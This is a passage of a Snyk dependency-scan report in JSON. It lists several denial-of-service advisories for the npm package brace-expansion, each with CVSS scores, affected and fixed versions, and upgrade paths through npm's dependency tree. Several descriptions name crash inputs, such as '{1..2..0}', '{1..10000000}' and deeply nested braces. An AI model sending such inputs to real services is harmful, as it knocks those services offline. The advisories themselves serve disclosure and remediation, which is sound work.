"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": 